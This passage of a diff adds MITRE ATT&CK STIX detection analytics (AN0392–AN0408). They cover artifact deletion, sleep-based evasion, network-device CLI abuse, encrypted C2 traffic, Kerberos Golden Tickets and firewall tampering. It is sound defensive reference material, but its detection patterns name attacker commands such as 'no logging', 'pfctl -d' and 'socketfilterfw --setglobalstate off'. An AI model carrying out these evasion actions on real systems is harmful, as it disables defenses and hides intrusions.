"mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0140#AN0392", + "external_id": "AN0392" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0392", + "description": "Detects adversary behavior deleting artifacts (e.g., dropped payloads, evidence files) using native or external utilities (e.g., del, erase, SDelete). Detects deletion events correlated with unusual process lineage or timing post-execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines correlation window after suspicious binary execution or login session." + }, + { + "field": "FilePathPattern", + "description": "Focuses on deletion of temp files, malware staging dirs, or known indicators." + }, + { + "field": "UserContext", + "description": "Privilege level or impersonated user deleting sensitive files." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--874f0437-1aab-4cfe-a30a-7586c0602b6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0140#AN0393", + "external_id": "AN0393" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0393", + "description": "Detects deletion of suspicious files (e.g., payloads, temp exes, scripts) via `rm`, `unlink`, or secure deletion tools like `shred`, especially when performed by unexpected users or shortly after execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "PATH" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathRegex", + "description": "Pattern matching known attacker staging directories or hidden file paths." + }, + { + "field": "TimeWindow", + "description": "Deletion shortly after process execution or privilege escalation." + }, + { + "field": "SecureDeletionTool", + "description": "Uncommon presence or use of `shred`, `wipe`, or `srm`." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--175bf607-fca6-4555-a30b-3d6cd4cfe876", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0140#AN0394", + "external_id": "AN0394" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0394", + "description": "Detects removal of adversary artifacts via `rm`, `unlink`, or secure tools, with focus on shell sessions, temp files, and modified LaunchAgents or system directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "unlink, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathRegex", + "description": "Focus on LaunchAgents, /tmp/, or user folders." + }, + { + "field": "ToolUsageAnomaly", + "description": "Detecting use of unfamiliar tools by common users." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f53ca22-5efe-43b3-8225-5fdd4b8a8194", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0140#AN0395", + "external_id": "AN0395" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0395", + "description": "Detects manual or scripted removal of logs, artifacts, or malware droppings via `rm` or PowerCLI in ESXi shell. Focus on deletions from /tmp/, /var/core/, or /scratch.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "esxi:shell", + "channel": "/var/log/shell.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogFilePath", + "description": "Match deletion actions in system-critical locations or malware drop zones." + }, + { + "field": "TimeWindow", + "description": "Typically follows suspicious admin login or unexpected shell session." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--10c89810-d298-42d6-80dd-1228e737e33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0141#AN0396", + "external_id": "AN0396" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0396", + "description": "Process creation involving suspicious delays (e.g., Sleep, ping -n loops, WaitForSingleObject), followed by sensitive system access or lateral movement behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SleepDurationThreshold", + "description": "Defines maximum allowable sleep duration in milliseconds before triggering anomaly detection." + }, + { + "field": "TimeBetweenExecutionAndNextStage", + "description": "Temporal window between initial process and next stage (e.g., lateral movement or persistence), used to correlate dormant activity." + }, + { + "field": "UserContext", + "description": "Whether the activity occurs in SYSTEM or user context may affect legitimacy scoring." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2bbe41df-b8a6-4503-8fb0-028b7387cb1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0141#AN0397", + "external_id": "AN0397" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0397", + "description": "Script-based execution of sleep loops or time delay commands (e.g., sleep, ping delay, while-loops) followed by file creation or network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of sleep or ping command within script interpreted by bash/python" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "file write after sleep delay" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SleepLoopCount", + "description": "Defines how many loop iterations or sleep cycles are considered anomalous in the monitored environment." + }, + { + "field": "ExecutionScriptType", + "description": "Identifies which scripting interpreter is used (e.g., bash, python, perl) to adjust detection logic." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fbbe7372-5d33-4181-a68a-e68f5da94df7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0141#AN0398", + "external_id": "AN0398" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0398", + "description": "Use of `usleep`, `nanosleep`, or `NSTimer` calls in executables or binaries with no GUI interaction, especially followed by disk/network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "application logs referencing NSTimer, sleep, or launchd delays" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppBundleIdentifier", + "description": "Correlate with known/expected signed apps vs. unsigned binaries to reduce noise." + }, + { + "field": "TimeToNextEvent", + "description": "Minimum time expected between process start and observable I/O for normal apps." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3dc28690-699a-4f6d-ad4b-278aa2dd8c59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0142#AN0399", + "external_id": "AN0399" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0399", + "description": "Detects unauthorized or anomalous use of command-line interfaces (CLI) on network devices. Focuses on remote access sessions (e.g., SSH/Telnet), privilege escalation within CLI sessions, execution of high-risk commands (e.g., config replace, terminal monitor, no logging), and configuration changes outside of approved windows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "command_exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "remote CLI session detection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "authorization/accounting logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Config changes made outside of maintenance windows are more suspicious." + }, + { + "field": "UserContext", + "description": "Unexpected CLI activity by service accounts or users not assigned to manage network devices." + }, + { + "field": "CommandPattern", + "description": "Regex or keyword match on dangerous or unusual commands (e.g., 'no logging', 'reload', 'copy tftp', 'config replace')." + }, + { + "field": "SourceIP", + "description": "Remote CLI sessions originating from untrusted networks or jump hosts." + }, + { + "field": "SessionDuration", + "description": "Abnormally short or long SSH/Telnet CLI sessions compared to baseline." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--704bd588-a82b-4139-92ef-6dc6a48581c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0400", + "external_id": "AN0400" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0400", + "description": "Processes that typically do not perform cryptographic operations loading symmetric encryption libraries (e.g., bcryptprimitives.dll, aes.dll), then initiating outbound connections with high-entropy payloads. Defender correlates process creation, DLL load, and anomalous encrypted traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedCryptoProcesses", + "description": "Processes normally expected to use symmetric crypto (e.g., disk encryption, secure messaging)." + }, + { + "field": "EntropyThreshold", + "description": "Minimum payload entropy score for flagging unusual encrypted sessions." + }, + { + "field": "TimeWindow", + "description": "Correlation window between module load and encrypted connection creation." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8c64bf26-bda2-47fc-867d-bcc6a51d57a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0401", + "external_id": "AN0401" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0401", + "description": "Unexpected processes (e.g., bash, python, custom binaries) dynamically loading libcrypto or performing AES/RC4 encryption operations, then initiating outbound sessions with abnormal byte entropy or asymmetric traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve or socket/connect system calls from processes using crypto libraries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "System daemons initiating encrypted sessions with unexpected destinations" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "linux:osquery", + "channel": "Process linked with libcrypto.so making external connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedCryptoLibs", + "description": "Baseline expected crypto libraries to suppress false positives." + }, + { + "field": "TrafficAsymmetryRatio", + "description": "Ratio of sent/received bytes indicating possible hidden C2." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--531ba452-e3b8-4064-be28-31ddd13b3478", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0402", + "external_id": "AN0402" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0402", + "description": "Launchd jobs or user processes invoking symmetric crypto APIs from the Security framework and generating outbound connections carrying randomized payloads inconsistent with normal TLS patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process using AES/RC4 routines unexpectedly" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Encrypted connection with anomalous payload entropy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DoHResolvers", + "description": "Legitimate DNS-over-HTTPS endpoints to avoid FP." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Define entropy level at which traffic should be flagged." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--50102ced-9c8f-47e6-b438-63b2a7fe983d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0403", + "external_id": "AN0403" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0403", + "description": "ESXi daemons (hostd, vpxa) unexpectedly using symmetric encryption routines for external connections. Defender identifies logs of service traffic with encrypted payloads inconsistent with VMware management baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:vpxd", + "channel": "Symmetric crypto routines triggered for external session" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxcli:network", + "channel": "Socket sessions with randomized payloads inconsistent with TLS" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedMgmtHosts", + "description": "Baseline list of approved vCenter and update endpoints." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--94e5fd96-1fde-41fd-863d-6ef9cb8a3e1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0143#AN0404", + "external_id": "AN0404" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0404", + "description": "Flows showing encrypted payloads with high entropy not matching TLS handshake patterns, particularly when occurring on non-standard ports. Defender observes NetFlow/IPFIX byte distribution anomalies or IDS/IPS detecting symmetric encryption patterns without associated key exchange.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Flow records with entropy signatures resembling symmetric encryption" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Connections", + "channel": "Symmetric encryption detected without TLS handshake sequence" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortProfiles", + "description": "Baseline expected encryption by port/protocol." + }, + { + "field": "TrafficVolumeThreshold", + "description": "Volume thresholds for distinguishing benign VPN traffic from hidden C2." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fd614a66-7e99-4a69-9070-3c11036f0335", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0144#AN0405", + "external_id": "AN0405" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0405", + "description": "Detects forged Kerberos Golden Tickets by correlating anomalous Kerberos ticket lifetimes, unexpected encryption types (e.g., RC4 in modern domains), malformed fields in logon/logoff events, and TGS requests without preceding TGT requests. Also monitors for abnormal patterns of access associated with elevated privileges across multiple systems.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4768, 4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Kerberos", + "channel": "EventCode=4769, 4768" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TicketLifetimeThreshold", + "description": "Kerberos TGT ticket lifetime exceeding default domain duration; tunable to environment-specific policies." + }, + { + "field": "AllowedEncryptionTypes", + "description": "Valid encryption algorithms for Kerberos tickets; anomalies (e.g., RC4) may indicate forgery." + }, + { + "field": "PrivilegedAccountPatterns", + "description": "Baseline of privileged accounts expected to perform Kerberos operations; deviations indicate suspicious activity." + }, + { + "field": "ProcessAllowlist", + "description": "Expected processes interacting with lsass.exe; deviations may indicate credential dumping." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--df0f8f0a-1e92-415d-b15e-63cea928973a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0406", + "external_id": "AN0406" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0406", + "description": "Detection of firewall tampering by monitoring processes executing netsh, PowerShell Set-NetFirewallProfile, or sc stop mpssvc. Registry modifications under HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy also indicate adversarial actions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredCommands", + "description": "List of admin tools and scripts allowed to legitimately modify firewall settings." + }, + { + "field": "AlertThreshold", + "description": "Number of firewall rule changes within a time window before triggering alert." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3327048a-e90c-47e5-9b67-d2ecaa89523c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0407", + "external_id": "AN0407" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0407", + "description": "Detection of iptables, nftables, or firewalld rule modifications. Correlation of sudden drops in active firewall rules with suspicious processes suggests adversarial evasion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: iptables, nft, firewall-cmd modifications" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "execution of known firewall binaries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedScripts", + "description": "Baseline admin scripts allowed to make firewall modifications." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--38c74fcf-2a4d-45cd-8465-b5d80a605bd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0408", + "external_id": "AN0408" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0408", + "description": "Detection of PF firewall rule modifications via pfctl, socketfilterfw, or defaults write to com.apple.alf. Adversaries often disable firewall profiles entirely or whitelist malicious processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to 